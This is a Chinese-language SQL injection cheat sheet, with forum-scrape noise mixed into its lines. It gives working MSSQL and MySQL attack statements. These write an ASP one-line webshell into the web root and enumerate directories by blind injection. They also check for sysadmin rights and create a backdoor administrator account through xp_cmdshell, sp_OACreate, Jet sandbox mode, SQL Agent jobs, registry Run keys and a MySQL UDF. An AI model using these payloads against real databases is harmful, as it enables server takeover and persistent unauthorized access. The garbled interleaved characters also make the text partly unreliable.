MSSQL语句导出一句话木马
5 F3 @% Z; d, Q) M J首先确定网站的WEB路径
% L2 I9 t9 o9 [& u( A;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
6 W9 h, H0 X# C$ X/ I9 u' [9 w. E% e
& _$ d, k' C/ d4 M4 L;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- ( g8 A1 P# _8 Z# O
//将一句话木马插入表中5 N7 m7 x. Q$ B; l
3 X9 h6 I9 N: J( y4 g
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
7 A0 a4 m' ]* I% U$ ^' K0 L; s//导出一个ASP文件
* j2 s8 D1 J; b$ v: E$ N( n) c( @3 ~. R$ J' O" S& J
# |0 s' C' N/ P% X, O
关于MSSQL列目录
. w: n" \, _( r- G$ c;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
1 |2 F( h; [1 d6 PInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
% E( b' Z4 @/ I5 K
+ m' s. a; m& m2 O) ]6 ]6 Qand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
/ r9 ]2 Y! y" W( {. Y7 t n: H: P! K c) s+ v) [2 e8 \7 m3 F- d
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段+ t/ Y) c& a6 R u$ r
& b2 l5 L$ U4 y: X5 M6 |+ N$ X
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符+ ]; ^, P W( m( b% |
1 n) n( P( G0 B o% g
+ k' U# C2 F! K( Q! P( M数据库版本和权限查看
: b& j+ W& _9 A0 Rand 1=(select @@VERSION) //查看详细的数据库信息./ _2 V7 d; z0 m; L" [* M* l
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
- x$ K/ p# Q7 D4 O, {. x4 e& H' `and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
" l# M3 N7 W5 f* F' f8 u4 s9 v
; }4 R' f* [8 r3 z5 p9 y$ e
. u2 G. y# X# h" M2 L; d1.利用xp_cmdshell执行命令
6 C2 i5 i8 A& j8 i1 U4 @exec master..xp_cmdshell 'net user rfire 123456 /add'# C! Y, e9 @! O3 T% P# R6 v* E
exec master..xp_cmdshell 'net localgroup administrators rfire /add'
1 d6 @8 a# i- r3 t: x
3 L- A5 ^' Z% c Z& M1 x恢复xp_cmdshell存储过程
`5 b9 U: l+ z! l* yExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
: s- e" }1 F5 _) ] Q
3 R. z4 \+ [& o
/ ~8 Y y0 w/ G1 T2.利用SP_OAcreate和SP_OAMETHOD执行命令
3 W0 y2 X3 n+ v0 n4 g% ]( @在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
' z1 t" \2 B: g8 VDECLARE @shell INT //建立一个@shell实体
/ c# I- |' q3 ` L4 REXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
! R! u, I9 R# C' w S5 T8 UEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
2 G+ i! Z2 H8 g2 S0 c% W6 l; m7 X$ x1 {
2 i* {4 z# Q) }( O. `' }3 x3.利用沙盒模式
; l. m, f4 J/ k) C: n- K, z先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
5 h& U' O5 Z/ m. ]开启沙盒模式:
o" p. l- ]4 Y/ XEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0* E# o! X& O# b8 D% A6 ^
/ T# y: n1 V) y7 S执行命令:, W- ^2 z) R! |/ F" [
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');7 V6 N) O& S( n, ~8 o3 k
4 R4 n5 X7 C& M$ {. S
3 o: x/ r# V' v* q6 [% T4.利用SQL代理执行命令 `* y9 w& z; \/ Z) Q0 Y
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
4 d* b3 [2 l0 ?- L: [* C9 g5 i( w3 d" O0 B' {# p
执行命令:( }& ]( q0 p( z+ W, V% Z; W0 X
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
1 u' Q% f) D K vexec sp_add_job 'x'% N8 Q8 Z; _# @3 y( y) H' e
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业' m# a& T; _: H1 @! U6 E4 L8 M3 S5 o( D
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
5 f% p' B8 M6 o. ~
6 X- K4 S) E6 A6 R
5 a# v- {' X+ K# O' c0 _! B# v5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)# ?% S- h7 s3 k
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'" ]# c' @9 p% u
$ @; J% y; T! K: ?5 _" l7 F) r* m4 z& {4 h K0 E: Z
6.MYSQL的命令执行
+ \2 f+ H2 H# s- v. ^! j7 I" z& HMYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
4 G8 ~. Q* ^2 N首先要在su.php下导出c:\windows\udf.dll/ L% r! Y$ M3 C) A
导出后执行创建自定义函数命令:4 V" @/ z( L4 Y/ s
Create Function cmdshell returns string soname 'udf.dll'
8 c( m( y; }- \& ]执行命令* Q6 j* H2 e' ~, P
select cmdshell('net user rfire 123456 /add')
5 }1 \2 W# Z* h6 F执行后删除函数 drop function cmdshell) R, U% ^! H! s& |9 j& @
|